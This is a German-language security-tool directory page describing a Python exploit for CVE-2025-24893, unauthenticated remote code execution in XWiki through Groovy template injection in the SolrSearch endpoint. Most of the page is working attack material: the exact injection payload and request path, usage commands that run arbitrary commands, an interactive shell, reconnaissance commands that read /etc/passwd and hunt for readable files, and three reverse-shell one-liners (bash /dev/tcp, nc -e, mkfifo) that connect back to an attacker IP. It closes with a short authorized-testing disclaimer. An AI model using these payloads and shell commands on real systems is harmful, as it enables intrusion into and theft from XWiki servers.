Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-24893 — Nicht authentifizierte Remotecodeausführung in XWiki über das SolrSearch-Makro | Kitploit
Tools/GitHubGitHub/gotr00t0day/cve-2025-24893
ExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsRed Teaming
GitHubgotr00t0day/cve-2025-24893

CVE-2025-24893

Nicht authentifizierte Remotecodeausführung in XWiki über das SolrSearch-Makro

Repository anzeigen
6vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

XWiki SSTI Exploit

Ein Python-Exploit für die XWiki-Schwachstelle Server-Side Template Injection (SSTI) über Groovy-Template-Injection im SolrSearch-Endpunkt.

Schwachstelle

  • Typ: Server-Side Template Injection (SSTI)
  • Komponente: XWiki SolrSearch-RSS-Feed
  • Auswirkung: Remote Code Execution
  • Betroffene Version: XWiki 15.10.8 (und möglicherweise weitere)

Anforderungen

root@kitploit:~
pip3 install requests beautifulsoup4

Verwendung

Auf Schwachstelle testen

root@kitploit:~
./xwiki_exploit.py -u http://target --test

Einzelnen Befehl ausführen

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"

Interaktive Shell

root@kitploit:~
./xwiki_exploit.py -u http://target.com

Du erhältst eine interaktive Pseudo-Shell, in der du Befehle ausführen kannst:

root@kitploit:~
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit

Debug-Modus

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "id" --debug

Befehlszeilenoptionen

  • -u, --url URL: Ziel-URL (erforderlich)
  • -c, --command CMD: Einzelnen Befehl ausführen
  • --test: Prüfen, ob das Ziel verwundbar ist
  • --no-verify-ssl: SSL-Zertifikatsprüfung deaktivieren
  • --debug: Debug-Ausgabe aktivieren

Beispiele

Informationssammlung:

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"

Interessante Dateien finden:

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"

Netzwerkinformationen:

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"

Reverse Shell herstellen:

root@kitploit:~
# On attacker machine, start listener:
nc -lvnp 1337

# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"

Technische Details

Payload-Struktur

Der Exploit verwendet die folgende SSTI-Payload-Struktur:

root@kitploit:~
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}

Exploit-Ablauf

  1. Der Payload wird URL-kodiert und an den verwundbaren Endpunkt gesendet:

    root@kitploit:~
    /xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
    
  2. Der Server verarbeitet das Groovy-Template und führt den Befehl aus.

  3. Die Ausgabe wird aus der RSS-Feed-Antwort in folgendem Format erfasst:

    root@kitploit:~
    search on [}}OUTPUT]
    
  4. Der Exploit parst die HTML-Antwort, um die Befehlsausgabe zu extrahieren.

Hinweise

  • Befehle werden als Benutzer xwiki ausgeführt (uid=997)
  • Das Arbeitsverzeichnis ist /usr/lib/xwiki-jetty
  • Manche Befehle erzeugen möglicherweise keine Ausgabe, wenn sie fehlschlagen oder im Hintergrund laufen
  • Für komplexe Befehle solltest du Shell-Skripte oder Base64-Kodierung in Betracht ziehen

Haftungsausschluss

Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt. Verwende es nur auf Systemen, für die du eine Testberechtigung hast.

Tool herunterladen